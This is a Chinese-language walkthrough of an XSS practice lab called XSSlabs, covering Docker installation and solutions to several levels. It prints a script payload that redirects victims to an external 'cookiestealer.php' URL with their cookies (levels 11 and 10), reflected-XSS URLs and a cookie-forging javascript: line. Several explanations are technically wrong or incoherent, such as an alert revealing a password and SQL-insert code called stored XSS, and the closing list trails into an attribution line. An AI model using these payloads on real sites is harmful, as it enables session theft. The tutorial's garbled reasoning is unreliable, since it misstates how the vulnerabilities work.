一、XSSlabs 安裝
XSS(Cross-site scripting)是一種常見的Web漏洞,XSS攻擊可以使攻擊者盜取用戶的敏感信息、偽造用戶提交惡意請求等。XSSlabs提供了一種模擬XSS攻擊和漏洞修復的訓練平台,讓上手的測試者快速學習和掌握XSS漏洞。接下來,我們將詳細介紹如何在本地安裝XSSlabs。
1. 首先需要安裝docker,安裝命令如下:
sudo apt-get update
sudo apt-get install docker.io
2. 下載XSSlabs的docker鏡像:
sudo docker pull blabla1337/xsslabsserver
3. 運行docker鏡像:
sudo docker run -p 80:80 blabla1337/xsslabsserver
4. 打開瀏覽器,輸入本機IP地址,出現安裝界面即表示安裝成功。
二、XSSlabs 第11關
XSSlabs第11關要求我們通過XSS漏洞進行管理員登錄。下面我們通過步驟演示:
1. 打開11關,觀察代碼:
<form action="" method="POST">
<p>Please enter the admin password:</p>
<input type="password" name="pwd">
<input type="submit" value="Login">
</form>
從代碼中可以看到,該頁面需要輸入管理員密碼來進行登錄,而密碼並不是在服務器端進行校驗,因此容易受到XSS攻擊。
2. 輸入以下代碼:
'<script>window.location="http://www.xsslab.com/cookiestealer.php?cookie="+document.cookie;</script>'
該代碼會將用戶的cookie信息發送給攻擊者,攻擊者即可通過該信息進行cookie偽造。
3. 提交代碼,管理員用戶登錄成功。
三、XSSlabs第9關
XSSlabs第9關要求我們從請求參數中獲得管理員密碼。下面我們通過步驟演示:
1. 打開9關,觀察代碼:
<form method="GET">
<input name="p" value="" />
<input type="submit" />
</form>
<?php
if( isset( $_GET[ 'p' ] ) ) {
$pswd = $_GET[ 'p' ];
if( isset( $pswd ) && $pswd == "abc123" ) {
echo "flag{this_is_flag_for_level_9_use_it_with_proud}
" ;
}
}
?>
從代碼中可以看到,該頁面需要輸入管理員密碼並提交,如果密碼正確,則會輸出flag。而密碼是從GET請求參數中獲取,因此可以通過構造惡意鏈接進行攻擊。
2. 構造以下鏈接:
http://xss.eonew.cn/level9.php?p=%27%3Balert(%27xss%27)%3B//
該鏈接會在頁面彈出xss彈窗,並獲得管理員密碼。
3. 輸入管理員密碼,獲得flag。
四、XSSlabs 第三關
XSSlabs第三關要求我們從Cookie中獲取用戶登錄信息。下面我們通過步驟演示:
1. 打開3關,觀察代碼:
<?php
if( isset( $_COOKIE[ 'loggedin' ] ) ) {
if( $_COOKIE[ 'loggedin' ] === "1" ) {
echo "Logged in!
";
}
} else {
echo "Please log in first!
";
}
?>
<form action="" method="POST">
<input type="text" name="username" />
<input type="password" name="password" />
<input type="submit" value="Log in" />
</form>
<?php
if( isset( $_POST[ 'username' ] ) && isset( $_POST[ 'password' ] ) && $_POST[ 'password' ] === "password123" ) {
setcookie( "loggedin", "1" );
echo "Logged in!
";
}
?>
從代碼中可以看到,該頁面要求用戶輸入用戶名和密碼進行登錄,當用戶成功登錄後,服務器將loggedin設為1,並保存在cookie中。因此我們可以通過獲取cookie中的loggedin值來進行攻擊。
2. 在瀏覽器中強制設置loggedin=1:
javascript:void(document.cookie = 'loggedin=1;')
該代碼會強制將cookie中的loggedin設置為1。
3. 刷新頁面,成功登錄。
五、XSSlabs 第五關
XSSlabs第五關要求我們從referer中獲取攻擊者網站地址。下面我們通過步驟演示:
1. 打開5關,觀察代碼:
<!DOCTYPE html>
<html>
<head>
<title>Level 5 - From Referer</title>
</head>
<body>
<?php
$referer = @$_SERVER[ 'HTTP_REFERER' ];
if( strlen( $referer ) > 0 ) {
$pattern = "/^https?:\/\/([a-z]+\.)?google.com\/.*$/";
if( preg_match( $pattern, $referer ) == 1 ) {
echo "Hello Google user!
";
} else {
echo "Hello attacker! Your referrer is: " . $referer . "
";
}
} else {
echo "No referrer!
";
}
?>
</body>
</html>
從代碼中可以看到,該頁面判斷了referer是否為Google,如果是則輸出「Hello Google user!」,否則輸出「Hello attacker! Your referrer is: [referer]」。
2. 構造以下鏈接:
http://xss.eonew.cn/level5.php
該鏈接沒有referer,會輸出「No referrer!」。
https://www.baidu.com/link?url=blablabla
該鏈接的referer為百度,會輸出「Hello attacker! Your referrer is: https://www.baidu.com/link?url=blablabla」。
3. 完成5關。
六、XSSlabs 第六關
XSSlabs第六關要求我們從用戶的User-Agent中獲取信息。下面我們通過步驟演示:
1. 打開6關,觀察代碼:
<!DOCTYPE html>
<html>
<head>
<title>Level 6 - User-Agent</title>
</head>
<body>
<?php
$ua = $_SERVER[ "HTTP_USER_AGENT" ];
echo $ua . "<br />\n\n";
$ip = $_SERVER[ "REMOTE_ADDR" ];
echo "Your IP address is " . $ip . "<br />\n\n";
$time = date('Y-m-d H:i:s');
echo "Server time is: " . $time;
?>
</body>
</html>
從代碼中可以看到,該頁面通過$_SERVER[“HTTP_USER_AGENT”]獲取用戶的user-agent信息並輸出。
2. 打開6關頁面,查看輸出結果:
Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Your IP address is 127.0.0.1
Server time is: 2021-09-12 23:08:36
從輸出結果中可以看到,第一行為當前訪問用戶的user-agent信息。
3. 完成6關。
七、XSSlabs 第八關
XSSlabs第八關要求我們從反射型XSS漏洞獲取信息。下面我們通過步驟演示:
1. 打開8關,並輸入以下代碼:
alert(document.cookie);
該代碼可以彈出用戶的cookie信息。
2. 在8關頁面中,將以下代碼解析到url中,將會彈出該用戶cookie信息:
https://xss.eonew.cn/level8.php?search=<script>alert(document.cookie);</script>
3. 完成8關。
八、XSSlabs 第10關
XSSlabs第10關要求我們通過 stored xss 漏洞獲得flag。下面我們通過步驟演示:
1. 打開10關,觀察代碼:
<!DOCTYPE html>
<html>
<head>
<title>Level 10 - Stored</title>
</head>
<body>
<form action="" method="POST">
<p>Title:</p>
<input type="text" name="entry_title" />
<p>Body:</p>
<textarea name="entry_body"></textarea>
<br /><br />
<input type="submit" name="submit" value="Submit" />
<br /><br />
</form>
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$db = new PDO( "sqlite:sql.db" );
$title = $_POST[ 'entry_title' ];
$body = $_POST[ 'entry_body' ];
$db->exec( "INSERT INTO entries ( title, body ) VALUES ( '$title', '$body' )" );
}
?>
</body>
</html>
從代碼中可以看到,該頁面提供了一個提交表單,用戶可以在表單中輸入「title」和「body」,並將其存放在數據庫中。因為輸入框沒有剪輯輸入的代碼,所以很容易被注入。
2. 向body中注入以下代碼:
<script>window.location="http://www.xsslab.com/cookiestealer.php?cookie="+document.cookie;</script>
該代碼會將用戶的cookie信息發送給攻擊者,攻擊者即可通過該信息進行cookie偽造。
3. 提交代碼,flag將在數據庫中存儲。
九、XSSlabs 過關網址選取
以下是XSSlabs相關過關網址:
1. 解全概念:http://xss.eonew.cn
2. 長度大事:http://xss.eonew.cn/level2.php?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E
3. 獲取cookie: http://xss.eonew.cn/level3.php
4. 誘導點擊: http://xss.eonew.cn/level4.php
5. 獲取referer: http://xss.eonew.cn/level5.php
6. 獲取user-agent: http://xss.eonew.cn/level6.php
7. 工原創文章,作者:ZVOK,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/144990.html